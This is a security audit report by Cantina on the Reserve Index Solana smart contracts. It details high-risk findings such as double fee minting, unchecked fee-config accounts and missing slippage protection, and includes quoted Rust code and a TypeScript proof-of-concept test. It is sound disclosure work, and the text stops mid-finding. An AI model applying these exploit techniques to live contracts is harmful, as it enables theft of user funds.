CANTINA

Reserve Index Solana

Competition

July 4, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

The Reserve protocol is the first platform that allows for the permissionless creation of asset-backed, yield-bearing and overcollateralized stablecoins on Ethereum. The end goal of the Reserve protocol is to provide highly scalable, decentralized, stable money in contrast to volatile cryptocurrencies such as Bitcoin and Ether.

From Mar 3rd to Mar 10th Cantina hosted a competition based on reserve-index-dtfs-solana. The participants identified a total of **51** issues in the following risk categories:

- High Risk: 11
- Medium Risk: 11
- Low Risk: 19
- Gas Optimizations: 0
- Informational: 10

From Apr 22nd to Apr 25th, the Cantina team formed by krikolkk and shaflow01 performed a fix review of reserve-index-dtfs-solana on commit hash 13d2e6c7, which targets the competition fixes, concluding that all high risk issues have been fixed after the review.

The present report only outlines the **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 Incorrectly determining empty fee recipient list cause fund loss

Submitted by cantinaxyz

Severity: High Risk

Context: distribute_fees.rs#L188

Summary: `distribute_fees()` function incorrectly define the variable `has_fee_recipients` lead to incorrect fee distribution.

Finding Description: Folio has two types of fee: TVL fee and mint fee. They are accumulated when user mint (for mint fee) or poke (TVL fee). These fields are eventually used to distribute (mint) to DAO and folio configured recipients.

When folio has no fee recipients configured (by folio owner), the program will credit total fees earned for the DAO. To determine whether the configured fee recipient list is empty or not, it use:

```
has_fee_recipients = !fee_recipients.fee_recipients.is_empty();
```

However, due to the fact that when initializing the `FeeRecipients` data account within `update_folio` instruction, it assign the `fee_recipients` fields to an array of 64 default value:

```
fee_recipients.fee_recipients = [FeeRecipient::default(); MAX_FEE_RECIPIENTS];
```

Eventually the `has_fee_recipients` variable always be `true` even if there is no recipient configured. Later, the value is used to create a fee distribution, guaranteed to always execute:

```
// Create new fee distribution for other recipients if there are any
if has_fee_recipients {
    let fee_distribution_loaded = &mut fee_distribution.load_init()?;

    let (fee_distribution_derived_key, bump) = Pubkey::find_program_address(
        &[
            FEE_DISTRIBUTION_SEEDS,
            folio_key.as_ref(),
            index.to_le_bytes().as_slice(),
        ],
        &ID,
    );

    // Make the the derived key is the right one
    check_condition!(
        fee_distribution_derived_key == fee_distribution.key(),
        InvalidFeeDistribution
    );

    fee_distribution_loaded.bump = bump;
    fee_distribution_loaded.index = index;
    fee_distribution_loaded.folio = folio_key;
    fee_distribution_loaded.cranker = user.key();
    fee_distribution_loaded.amount_to_distribute =
        scaled_fee_recipients_pending_fee_shares_minus_dust;
    fee_distribution_loaded.fee_recipients_state = fee_recipients.fee_recipients;
}
```

The fee distribution (represented by a PDA) allows configured fee recipients to claims their fees. I belive that the developer woud expected to call `is_empty()` implemented for `FeeRecipients` instead of its field, which is an array and have built-in a same name function provided by Rust:

```rust
/// Check if the fee recipients are empty.
///
/// # Returns
/// * `bool` - True if the fee recipients are empty, false otherwise.
pub fn is_empty(&self) -> bool {
    let default_pubkey = Pubkey::default();

    self.fee_recipients
        .iter()
        .all(|r| r.recipient == default_pubkey)
}
```

Impact Explanation: In generall, the vulnerability causes incorrect fee token (folio token) minted, effectively impact user fund in some way.

The issue causes the program logic to behave differently between two cases: when a folio has a configured recipient list and when it does not. The difference lies in the folio token amount minted for the same fee earned. This is definitely an issue, as the folio token can be used to redeem the underlying assets.

Note that I found this issue during testing with my last finding #58 and if we apply the (rather obviously) fix recommended, the issue here still affect: the earned fees only distribute 50% to the DAO, remaining fees are not distributed to anyone if there is no fee recipient configured. So, by fixing this issue, it'll also make the last recommendation work properly.

Likelihood Explanation: The issue occurs during normal operations on the folio.

Proof of Concept: Run the following integration test with amman (`start-amman.sh`) to see the assertion fails:

```
import {
  airdrop,
  assertThrows,
  getConnectors,
  getSolanaCurrentTime,
  wait,
  pSendAndConfirmTxn,
  getComputeLimitInstruction
} from "../utils/program-helper";
import { Folio } from "../target/types/folio";
import { BN, Program, web3 } from "@coral-xyz/anchor";
import { Connection, Keypair, PublicKey, SYSVAR_RENT_PUBKEY, SystemProgram } from "@solana/web3.js";
import {
  accrueRewards,
  addOrUpdateActor,
  addRewardToken,
  addToBasket,
  addToPendingBasket,
  approveAuction,
  bid,
  burnFolioToken,
  claimRewards,
  crankFeeDistribution,
  distributeFees,
  initFolio,
  initOrSetRewardRatio,
  killAuction,
  mintFolioToken,
  openAuction,
  pokeFolio,
  redeemFromPendingBasket,
  removeActor,
  removeFromPendingBasket,
  removeRewardToken,
  resizeFolio,
  updateFolio,
  getFolioProgram
} from "../utils/folio-helper";
import * as assert from "assert";

import {
  getActorPDA,
  getDAOFeeConfigPDA,
  getFeeDistributionPDA,
  getFolioBasketPDA,
```

```
  getTVLFeeRecipientsPDA,
  getFolioRewardTokensPDA,
  getRewardInfoPDA,
  getAuctionPDA,
  getUserPendingBasketPDA,
  getUserRewardInfoPDA,
  getFolioFeeConfigPDA,
} from "../utils/pda-helper";
import {
  DEFAULT_DECIMALS_MUL,
  MAX_AUCTION_LENGTH,
  MAX_TVL_FEE,
  MAX_AUCTION_DELAY,
  MAX_TTL,
  MAX_MINT_FEE,
  MAX_FEE_FLOOR,
  EXPECTED_TVL_FEE_WHEN_MAX,
  DEFAULT_DECIMALS_MUL_D18,
  DEFAULT_DECIMALS,
  FEE_NUMERATOR,
} from "../utils/constants";
import { TestHelper } from "../utils/test-helper";
import {
  getOrCreateAtaAddress,
  getTokenBalance,
  initToken,
  mintToken,
} from "../utils/token-helper";
import {
  createTransferInstruction,
  getMint,
  TOKEN_PROGRAM_ID,
} from "@solana/spl-token";
import { setDaoFeeConfig } from "../utils/folio-admin-helper";
import { FolioAdmin } from "../target/types/folio_admin";
import { sleep } from "@metaplex-foundation/amman/dist/utils";

describe("POC", () => {
  let connection: Connection;
  let programFolio: Program<Folio>;
  let programFolioAdmin: Program<FolioAdmin>;
  let keys: any;

  let payerKeypair: Keypair;
  let adminKeypair: Keypair;
  let userKeypair: Keypair;

  let auctionLauncherKeypair: Keypair;
  let auctionApproverKeypair: Keypair;

  let folioOwnerKeypair: Keypair;
  let folioTokenMint: Keypair;
  let folioPDA: PublicKey;

  /*
  Tokens that can be included in the folio
  */
  const tokenMints = [
    { mint: Keypair.generate(), decimals: DEFAULT_DECIMALS },
    { mint: Keypair.generate(), decimals: DEFAULT_DECIMALS },
    { mint: Keypair.generate(), decimals: 5 },
    { mint: Keypair.generate(), decimals: DEFAULT_DECIMALS },
    { mint: Keypair.generate(), decimals: DEFAULT_DECIMALS },
  ];

  let buyMint: Keypair;

  const rewardTokenMints = [
    { mint: Keypair.generate(), decimals: DEFAULT_DECIMALS },
    { mint: Keypair.generate(), decimals: DEFAULT_DECIMALS },
    { mint: Keypair.generate(), decimals: DEFAULT_DECIMALS },
  ];

  const feeRecipientDAO: PublicKey = Keypair.generate().publicKey;
  console.log("feeRecipientDAO", feeRecipientDAO.toBase58());
```

```
const feeRecipients = [
  {
    recipient: Keypair.generate().publicKey,
    portion: new BN(10).mul(DEFAULT_DECIMALS_MUL_D18).div(new BN(10)),
  },
  // {
  //   recipient: Keypair.generate().publicKey,
  //   portion: new BN(4).mul(DEFAULT_DECIMALS_MUL_D18).div(new BN(10)),
  // },
]
console.log("feeRecipients:", feeRecipients.map((recipient) => recipient.recipient.toBase58()));

let currentFeeDistributionIndex: BN = new BN(0);

function getAndIncreaseCurrentFeeDistributionIndex() {
  const index = currentFeeDistributionIndex;
  currentFeeDistributionIndex = currentFeeDistributionIndex.add(new BN(1));
  return index;
}

before(async () => {
  ({ connection, programFolio, programFolioAdmin, keys } =
    await getConnectors());

  payerKeypair = Keypair.fromSecretKey(Uint8Array.from(keys.payer));
  console.log("payerKeypair:", payerKeypair.publicKey.toBase58());
  adminKeypair = Keypair.fromSecretKey(Uint8Array.from(keys.admin));
  console.log("adminKeypair:", adminKeypair.publicKey.toBase58());

  folioTokenMint = Keypair.generate();
  console.log("folioTokenMint:", folioTokenMint.publicKey.toBase58());

  folioOwnerKeypair = Keypair.generate();
  console.log("folioOwnerKeypair:", folioOwnerKeypair.publicKey.toBase58());
  userKeypair = Keypair.generate();
  console.log("userKeypair:", userKeypair.publicKey.toBase58());
  auctionApproverKeypair = Keypair.generate();
  console.log("auctionApproverKeypair:", auctionApproverKeypair.publicKey.toBase58());
  auctionLauncherKeypair = Keypair.generate();
  console.log("auctionLauncherKeypair:", auctionLauncherKeypair.publicKey.toBase58());

  // Governance related tests are skipped for now, tested via Bankrun
  // Inject fake accounts in Amman for governance
  // const userTokenRecordPda = getUserTokenRecordRealmsPDA(
  //   folioOwnerKeypair.publicKey,
  //   folioTokenMint.publicKey,
  //   userKeypair.publicKey
  // );

  // await createGovernanceAccounts(userTokenRecordPda, 1000);

  // await wait(10);

  await airdrop(connection, payerKeypair.publicKey, 1000);
  await airdrop(connection, adminKeypair.publicKey, 1000);
  await airdrop(connection, folioOwnerKeypair.publicKey, 1000);
  await airdrop(connection, userKeypair.publicKey, 1000);
  await airdrop(connection, auctionApproverKeypair.publicKey, 1000);
  await airdrop(connection, auctionLauncherKeypair.publicKey, 1000);

  // Create the tokens that can be included in the folio
  for (const tokenMint of tokenMints) {
    await initToken(
      connection,
      adminKeypair,
      tokenMint.mint,
      tokenMint.decimals // to test different decimals
    );
    await mintToken(
      connection,
      adminKeypair,
      tokenMint.mint.publicKey,
      1_000,
      folioOwnerKeypair.publicKey
    );
```

```
  await mintToken(
    connection,
    adminKeypair,
    tokenMint.mint.publicKey,
    1_000,
    userKeypair.publicKey
  );
}

// Create the token for buy mint
buyMint = Keypair.generate();
await initToken(connection, adminKeypair, buyMint);
await mintToken(
  connection,
  adminKeypair,
  buyMint.publicKey,
  1_000,
  userKeypair.publicKey
);
await mintToken(
  connection,
  adminKeypair,
  buyMint.publicKey,
  1_000,
  adminKeypair.publicKey
);

for (const rewardTokenMint of rewardTokenMints) {
  await initToken(connection, adminKeypair, rewardTokenMint.mint);
  await mintToken(
    connection,
    adminKeypair,
    rewardTokenMint.mint.publicKey,
    1_000,
    adminKeypair.publicKey
  );
}

// Set dao fee recipient
await setDaoFeeConfig(
  connection,
  adminKeypair,
  feeRecipientDAO,
  FEE_NUMERATOR,
  MAX_FEE_FLOOR
);

folioPDA = await initFolio(
  connection,
  folioOwnerKeypair,
  folioTokenMint,
  MAX_TVL_FEE,
  MAX_MINT_FEE,
  MAX_AUCTION_DELAY,
  MAX_AUCTION_LENGTH,
  "Test Folio",
  "TFOL",
  "https://test.com",
  "mandate"
);

console.log("initializing fee recipients")
await updateFolio(
  connection,
  folioOwnerKeypair,
  folioPDA,
  folioTokenMint.publicKey,
  feeRecipientDAO,
  null,
  new BN(0),
  null,
  null,
  null,
  [],
  [],
  null
```

```
  );

  // console.log("adding fee recipients");
  // await updateFolio(
  //   connection,
  //   folioOwnerKeypair,
  //   folioPDA,
  //   folioTokenMint.publicKey,
  //   feeRecipientDAO,
  //   null,
  //   new BN(0),
  //   null,
  //   null,
  //   null,
  //   feeRecipients,
  //   [],
  //   null
  // );

  console.log(`adding ${tokenMints.length} tokens to basket (each 100 tokens)`);
  const tokenAmountsToAdd = tokenMints.map((token) => ({
    mint: token.mint.publicKey,
    amount: new BN(100 * 10 ** token.decimals),
  }));

  await addToBasket(
    connection,
    folioOwnerKeypair,
    folioPDA,
    tokenAmountsToAdd,
    new BN(10 * DEFAULT_DECIMALS_MUL), //10 shares, mint decimals for folio token is 9
    folioTokenMint.publicKey
  );


  console.log("user adding to pending basket");
  await addToPendingBasket(connection, userKeypair, folioPDA, [
    {
      mint: tokenMints[0].mint.publicKey,
      amount: new BN(100 * 10 ** tokenMints[1].decimals),
    },
    {
      mint: tokenMints[1].mint.publicKey,
      amount: new BN(100 * 10 ** tokenMints[1].decimals),
    },
    {
      mint: tokenMints[2].mint.publicKey,
      amount: new BN(200 * 10 ** tokenMints[2].decimals),
    },
    {
      mint: tokenMints[3].mint.publicKey,
      amount: new BN(300 * 10 ** tokenMints[3].decimals),
    },
    {
      mint: tokenMints[4].mint.publicKey,
      amount: new BN(100 * 10 ** tokenMints[3].decimals),
    },
  ]);

  console.log("minting user folio shares");
  await mintFolioToken(
    connection,
    userKeypair,
    folioPDA,
    folioTokenMint.publicKey,
    tokenMints.map((token) => ({
      mint: token.mint.publicKey,
      amount: new BN(0),
    })),
    new BN(2).mul(new BN(DEFAULT_DECIMALS_MUL))
  );
});

it("incorrect empty fee recipient list", async () => {
  let distributionId = new BN(1);
  // Claims fees earned previously
```

```
const daoFeeConfig = await programFolioAdmin.account.daoFeeConfig.fetch(
  getDAOFeeConfigPDA()
);
const daoFeeRecipientATA = await getOrCreateAtaAddress(
  connection,
  folioTokenMint.publicKey,
  userKeypair,
  daoFeeConfig.feeRecipient
);
await distributeFees(
  connection,
  userKeypair,
  folioPDA,
  folioTokenMint.publicKey,
  daoFeeRecipientATA,
  distributionId
);

const feeRecipientATA = await getOrCreateAtaAddress(
  connection,
  folioTokenMint.publicKey,
  userKeypair,
  feeRecipients[0].recipient,
);

// there is no more fees to crank

// due to the bug, the distribution data account remains exist
distributionId.iadd(new BN(1));

const tokenSupply1 = await connection.getTokenSupply(folioTokenMint.publicKey);
console.log("|-> Before mint folio token the first time, without fee recipients");
console.log("total supply:", tokenSupply1.value.amount);
await mintFolioToken(
  connection,
  userKeypair,
  folioPDA,
  folioTokenMint.publicKey,
  tokenMints.map((token) => ({
    mint: token.mint.publicKey,
    amount: new BN(0),
  })),
  new BN(2).mul(new BN(DEFAULT_DECIMALS_MUL))
);

let feeRecipientPdaData = await programFolio.account.feeRecipients.fetch(
  getTVLFeeRecipientsPDA(folioPDA)
);
// update the folio to add recipient list, also distribute protocol fee (to DAO only)
await updateFolio(
  connection,
  folioOwnerKeypair,
  folioPDA,
  folioTokenMint.publicKey,
  feeRecipientDAO,
  null,
  distributionId,
  null,
  null,
  null,
  feeRecipients,
  [],
  null,
);

distributionId.iadd(new BN(1));

const tokenSupply2 = await connection.getTokenSupply(folioTokenMint.publicKey);
console.log("|-> After add fee recipients, also distribute fees");
console.log("total supply:", parseInt(tokenSupply2.value.amount));
const diff1 = parseInt(tokenSupply2.value.amount) - parseInt(tokenSupply1.value.amount);
console.log("Fees minted:", diff1);

console.log("Minting the second time");
await mintFolioToken(
  connection,
```

```
      userKeypair,
      folioPDA,
      folioTokenMint.publicKey,
      tokenMints.map((token) => ({
        mint: token.mint.publicKey,
        amount: new BN(0),
      })),
      new BN(2).mul(new BN(DEFAULT_DECIMALS_MUL))
    );

    await distributeFees(
      connection,
      userKeypair,
      folioPDA,
      folioTokenMint.publicKey,
      daoFeeRecipientATA,
      distributionId
    );
    await crankFeeDistribution(
      connection,
      userKeypair,
      folioPDA,
      folioTokenMint.publicKey,
      userKeypair.publicKey,
      distributionId,
      [new BN(0)],
      [feeRecipientATA]
    )

    const tokenSupply3 = await connection.getTokenSupply(folioTokenMint.publicKey);
    console.log("|-> After mint folio token the second time, with fee recipients");
    console.log("total supply:", parseInt(tokenSupply3.value.amount));
    const diff2 = parseInt(tokenSupply3.value.amount) - parseInt(tokenSupply2.value.amount);
    console.log("Fees minted:", diff2);
    distributionId.iadd(new BN(1));

    // Removed dust amount due to TVL fees generated between transactions
    assert.equal(Math.floor(diff1/10000), Math.floor(diff2/10000));

  });
});
```

You'll see in the two cases, with and without recipients configured, the folio program distributed different amount of tokens for the same minting (which should produce the same fees), excluding dust amount generated by TVL fees due to time passed between transactions:

```
|-> Before mint folio token the first time, without fee recipients
total supply: 12000000200
|-> After add fee recipients, also distribute fees
total supply: 14000000286
Fees minted: 2000000086
Minting the second time
|-> After mint folio token the second time, with fee recipients
total supply: 16050000286
Fees minted: 2050000000
    1) incorrect empty fee recipient list


  0 passing (41s)
  3 pending
  1 failing

  1) POC
       incorrect empty fee recipient list:

      AssertionError [ERR_ASSERTION]: 200000 == 205000
      + expected - actual

      -200000
      +205000
```

Recommendation: Change the vulnerable line of code to:

```
has_fee_recipients = !fee_recipients.is_empty();
```

will fix the issue.

Reserve: Fixed in commit 0840fae8.

Fix review: The finding has been fixed.

3.1.2 `fee_recipients_fee_shares` are minted multiple times

Submitted by shaflow01, also found by cantinaxyz and calc1f4r

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: When `fee_recipients` are set, the fee distribution process creates a `fee_distribution` account. After that, anyone can trigger `crank_fee_distribution` to send fees to `fee_recipients`. The issue is that `fee_recipients_fee_shares` are minted during `distribute_fees` and then minted again during `crank_fee_distribution`, leading to duplicate minting.

Finding Description:

```
pub fn distribute_fees<'info>(
    token_program: &AccountInfo<'info>,
    user: &AccountInfo<'info>,
    dao_fee_config: &Account<'info, DAOFeeConfig>,
    folio_fee_config: &AccountInfo<'info>,
    folio: &AccountLoader<'info, Folio>,
    folio_token_mint: &InterfaceAccount<'info, Mint>,
    fee_recipients: &AccountLoader<'info, FeeRecipients>,
    fee_distribution: &AccountLoader<'info, FeeDistribution>,
    dao_fee_recipient: &AccountInfo<'info>,
    index: u64,
) -> Result<()> {
    {
        // ...
```

```
        // We scale down as token units and bring back in D18, to get the amount
        // minus the dust that we can split
        let raw_fee_recipients_pending_fee_shares: u64 =
            Decimal::from_scaled(loaded_folio.fee_recipients_pending_fee_shares)
                .to_token_amount(Rounding::Floor)?
                .0;

        scaled_fee_recipients_pending_fee_shares_minus_dust =
            (raw_fee_recipients_pending_fee_shares as u128)
                .checked_mul(D9_U128)
                .ok_or(ErrorCode::MathOverflow)?;

        raw_dao_pending_fee_shares = Decimal::from_scaled(loaded_folio.dao_pending_fee_shares)
            .to_token_amount(Rounding::Floor)?
            .0;

        let bump = loaded_folio.bump;
        let signer_seeds = &[FOLIO_SEEDS, token_mint_key.as_ref(), &[bump]];

        let cpi_accounts = token::MintTo {
            mint: folio_token_mint.to_account_info(),
            to: dao_fee_recipient.to_account_info(),
            authority: folio.to_account_info(),
        };

        token::mint_to(
            CpiContext::new_with_signer(
                token_program.to_account_info(),
                cpi_accounts,
                &[signer_seeds],
            ),
            raw_dao_pending_fee_shares
                .checked_add(raw_fee_recipients_pending_fee_shares) // <<<
                .ok_or(ErrorCode::MathOverflow)?,
        )?;
        // ...
    }
```

When `distribute_fees` calculates the distribution, `raw_fee_recipients_pending_fee_shares` have already been minted and sent to `dao_fee_recipient`. At the same time, the `fee_distribution` account is created, waiting to distribute fees to `fee_recipients`. However, when `crank_fee_distribution` distributes rewards to `fee_recipients`, `fee_recipients_pending_fee_shares` are minted again:

```
pub fn handler<'info>(
    ctx: Context<'_, '_, 'info, 'info, CrankFeeDistribution<'info>>,
    indices: Vec<u64>,
) -> Result<()> {
            // ...
            let raw_amount_to_distribute = Decimal::from_scaled(scaled_total_amount_to_distribute)
                .mul(&Decimal::from_scaled(related_fee_distribution.portion))?
                .div(&Decimal::from_scaled(MAX_FEE_RECIPIENTS_PORTION))?
                .to_token_amount(Rounding::Floor)?
                .0;

            {
                let cpi_accounts = token::MintTo {
                    mint: ctx.accounts.folio_token_mint.to_account_info(),
                    to: fee_recipient.to_account_info(),
                    authority: ctx.accounts.folio.to_account_info(),
                };

                token::mint_to(
                    CpiContext::new_with_signer(
                        ctx.accounts.token_program.to_account_info(),
                        cpi_accounts,
                        &[signer_seeds],
                    ),
                    raw_amount_to_distribute,
                )?;

                emit!(TVLFeePaid {
                    recipient: related_fee_distribution.recipient.key(),
                    amount: raw_amount_to_distribute,
                });
            }
        }
    }
    // ...
}
```

Impact Explanation: `fee_recipients_pending_fee_shares` being mistakenly minted twice will cause an abnormal increase in shares, forcing users to pay double fees.

Likelihood Explanation: High.

Recommendation: It is recommended to mint the fees to `fee_distribution`'s ATA during `distribute_fees`, and then transfer from `fee_distribution`'s ATA during `crank_fee_distribution`.

Fix review: Mitigation related: When fees are minted to DAO, the fees will inflate the total supply twice.

Finding Description: After the mitigation, the fees that should be minted to the DAO are increased by the fee recipient fees if no fee recipients exist (distribute_fees.rs#L269-L274). At the same time, the mitigation of #142 increases the pending fees value by the fees to be minted to the fee recipients (distribute_fees.rs#L344-L347).

The problem is that this value is increased even if no fee recipients are set. Since the `fee_recipients_pending_fee_shares_to_be_minted` field counts towards the total supply calculation (folio.rs#L248-L259), this means that if no fee recipients are set, the fees are only minted once, but count towards the total supply twice.

Impact Explanation: High. Fees are counted towards the total supply twice.

Likelihood Explanation: Low. This only happens if no fee recipients are set but there are fees to be minted.

Recommendation: Consider increasing `fee_recipients_pending_fee_shares_to_be_minted` value only if there are fee recipients.

Reserve: Fixed in commit 81f5dbf0. Double minting is only suppose to happen when there are no fee recipients, and not everytime.

Fix review: The finding has been fixed.

3.1.3 Unchecked `FolioFeeConfig` leads to fee manipulation

Submitted by shaflow01, also found by cantinaxyz

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: When calling UpdateFolio, distribute_fees will be executed, and fee-related parameters are passed through remaining_accounts. However, the protocol does not check the FolioFeeConfig, allowing malicious accounts with manipulated fee parameters to control the fee distribution.

Finding Description: Anyone can create their own folio account, but the fee parameters are created and specified by the folio-admin, with related accounts being FolioFeeConfig and dao_fee_config. Since fee distribution may occur in UpdateFolio, FolioFeeConfig and dao_fee_config are passed through remaining_accounts.

```
impl<'info> UpdateFolio<'info> {
    /// Distribute fees if needed.
    ///
    /// # Arguments
    /// * `remaining_accounts` - The remaining accounts contains the extra accounts required to distribute the
    ↪  fees.
    /// * `index_for_fee_distribution` - The index of the next fee distribution account to create.
    pub fn distribute_fees(
        &self,
        remaining_accounts: &'info [AccountInfo<'info>],
        index_for_fee_distribution: Option<u64>,
    ) -> Result<()> {
        {
            // ...
            distribute_fees(
                &remaining_accounts[IndexPerAccount::TokenProgram as usize],
                &self.folio_owner,
                &dao_fee_config, // checked
                &remaining_accounts[IndexPerAccount::FolioFeeConfig as usize], // <<< no check
                &self.folio,
                &folio_token_mint, // checked
                &self.fee_recipients,
                &fee_distribution,
                &remaining_accounts[IndexPerAccount::DAOFeeRecipient as usize], // checked
                index_for_fee_distribution.unwrap(),
            )?;
        }

        Ok(())
    }

pub fn distribute_fees<'info>(
    token_program: &AccountInfo<'info>,
    user: &AccountInfo<'info>,
    dao_fee_config: &Account<'info, DAOFeeConfig>,
    folio_fee_config: &AccountInfo<'info>,
    folio: &AccountLoader<'info, Folio>,
    folio_token_mint: &InterfaceAccount<'info, Mint>,
    fee_recipients: &AccountLoader<'info, FeeRecipients>,
    fee_distribution: &AccountLoader<'info, FeeDistribution>,
    dao_fee_recipient: &AccountInfo<'info>,
    index: u64,
) -> Result<()> {
    {
        let fee_recipients = fee_recipients.load()?;

        validate(folio, &fee_recipients, folio_token_mint, index)?;

        let folio = &mut folio.load_mut()?;

        let fee_details = dao_fee_config.get_fee_details(folio_fee_config)?;
        // ...

    pub fn get_fee_details(&self, folio_fee_config: &AccountInfo) -> Result<FeeDetails> {
        let mut fee_details = FeeDetails {
            fee_recipient: self.fee_recipient,
            scaled_fee_denominator: FEE_DENOMINATOR,
            scaled_fee_numerator: self.default_fee_numerator,
            scaled_fee_floor: self.default_fee_floor,
```

```
        };

        if !folio_fee_config.data_is_empty() {
            let folio_fee_config_data = folio_fee_config.try_borrow_mut_data()?;
```

However, the protocol does not perform an account check on `FolioFeeConfig` afterward, allowing the folio account owner to manipulate the fees created by the folio-admin.

Impact Explanation: Users can manipulate the fee distribution by frequently calling UpdateFolio and passing malicious `FolioFeeConfig` accounts, completely bypassing the control of the folio-admin.

Likelihood Explanation: High.

Recommendation: It is recommended to perform a security check on the accounts in `remain_accounts` to confirm whether they are derived from the correct seed and `programId`.

Reserve: Fixed in commit 81f5dbf0. Now validates the seeds / program ids of all accounts even when called directly and not via an instruction.

Fix review: The finding has been fixed.

3.1.4 If the same token is added to the basket a second time, it may cause an account error

Submitted by shaflow01, also found by agent3bood and krikolkk

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: If the token is added to the basket a second time, it may cause an account error, preventing the user from withdrawing the token.

Finding Description: When a token is removed from the basket, its corresponding pending token data will be cleared.

```
pub fn remove_tokens_from_basket(&mut self, mints: &Vec<Pubkey>) -> Result<()> {
    for mint in mints {
        if let Some(slot_to_remove) = self.token_amounts.iter_mut().find(|ta| ta.mint == *mint)
        {
            slot_to_remove.mint = Pubkey::default();
            slot_to_remove.amount_for_minting = 0;
            slot_to_remove.amount_for_redeeming = 0;

            emit!(BasketTokenRemoved { token: mint.key() });
        } else {
            // Token haven't been found
            return Err(error!(InvalidRemovedTokenMints));
        }
    }

    Ok(())
}
```

When it is added back to the basket, `amount_for_minting` and `amount_for_redeeming` will be recalculated starting from 0.

```
pub fn add_tokens_to_basket(&mut self, mints: &Vec<Pubkey>) -> Result<()> {
    for mint in mints {
        check_condition!(*mint != Pubkey::default(), InvalidAddedTokenMints);

        if self.token_amounts.iter_mut().any(|ta| ta.mint == *mint) {
            // Continue if already exists
            continue;
        } else if let Some(slot) = self
            .token_amounts
            .iter_mut()
            .find(|ta| ta.mint == Pubkey::default())
        {
            slot.mint = *mint;
            slot.amount_for_minting = 0;
            slot.amount_for_redeeming = 0;
        }
```

This can lead to pending tokens in the old system potentially affecting the accounting. Here is an example scenario:

1. User 1 has 100 tokens of token1 in the pending release state.

   Currently:

   - `folio_basket.token1.amount_for_redeeming = 100`.
   - `user1_pending_basket.token1.amount_for_redeeming = 100`.

2. Token1 is removed from the folio_basket, so:

   - `folio_basket.token1.amount_for_redeeming = 0`.

3. After some time, token1 is added back to the basket.
4. User 1 attempts to release 100 token1 tokens, but the transaction fails because `folio_basket.token1.amount_for_redeeming` will underflow.
5. User 2 interacts with the system, generating 100 pending release tokens of token1. Currently:

   - `folio_basket.token1.amount_for_redeeming = 100`.
   - `user1_pending_basket.token1.amount_for_redeeming = 100`.
   - `user2_pending_basket.token1.amount_for_redeeming = 100`.

6. Now, User 1 can release their token1 tokens. After this:

   - `folio_basket.token1.amount_for_redeeming = 0`.
   - `user1_pending_basket.token1.amount_for_redeeming = 0`.
   - `user2_pending_basket.token1.amount_for_redeeming = 100`.

   Now, User 2 cannot release their token1 tokens because `folio_basket.token1.amount_for_redeeming` will underflow.

Impact Explanation: The impact is high, as some users' withdrawal and deposit operations may be stuck.

Likelihood Explanation: The likelihood is low, as it requires a token to be removed from the basket and then re-added.

Recommendation: It is recommended to prohibit the re-adding of tokens that have already been removed from the basket.

Reserve: Fixed in commit 5aa6e37f. Now in the folio-basket, we are storing how many tokens are inside the folio. This way if any change is made to the user-pending basket we don't have to make any changes to the folio-basket unless its a mint or burn folio token-related instruction.

Fix review: The finding has been fixed.

3.1.5 The `mint_folio_token` and `burn_folio_token` functions lack slippage protection

Submitted by shaflow01, also found by 0xgh0st and krikolkk

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: The number of tokens minted through `mint_folio_token` and the amount of tokens spent, as well as the number of tokens received through `burn_folio_token`, may fluctuate during the transaction. However, there is no slippage protection in place, which could result in users receiving fewer tokens than expected.

Finding Description:

```
    token_amounts_user.to_assets(
        raw_shares,
        ctx.accounts.folio_token_mint.supply,
        &folio_key,
        &token_program_id,
        folio_basket,
        folio,
```

```
        PendingBasketType::MintProcess,
        remaining_accounts,
        current_time,
        fee_details.scaled_fee_numerator,
        fee_details.scaled_fee_denominator,
        fee_details.scaled_fee_floor,
    )?;
}

// Mint folio token to user based on shares
let fee_shares = ctx.accounts.folio.load_mut()?.calculate_fees_for_minting(
    raw_shares,
    fee_details.scaled_fee_numerator,
    fee_details.scaled_fee_denominator,
    fee_details.scaled_fee_floor,
)?;

let raw_folio_token_amount_to_mint = raw_shares
    .checked_sub(fee_shares.0)
    .ok_or(ErrorCode::MathOverflow)?;

let signer_seeds = &[FOLIO_SEEDS, token_mint_key.as_ref(), &[folio_bump]];
token::mint_to(
    CpiContext::new_with_signer(
        ctx.accounts.token_program.to_account_info(),
        token::MintTo {
            mint: ctx.accounts.folio_token_mint.to_account_info(),
            to: ctx.accounts.user_folio_token_account.to_account_info(),
            authority: ctx.accounts.folio.to_account_info(),
        },
        &[signer_seeds],
    ),
    raw_folio_token_amount_to_mint,
)?;
```

For `mint_folio_token`, the expected `raw_shares` passed in are not fully controllable by the user. On one hand, users cannot control the amount of each type of token consumed in the `pending_basket` to mint the `raw_shares`. On the other hand, the actual number of shares the user receives will be reduced by the minting fees. If the fee parameters change during the transaction, the user cannot control the situation and may end up receiving fewer shares than expected.

```
pub fn to_assets_for_redeeming(
    raw_user_amount: &mut TokenAmount,
    raw_related_mint_amount: &mut TokenAmount,
    scaled_total_supply_folio_token: &Decimal,
    scaled_folio_token_balance: &Decimal,
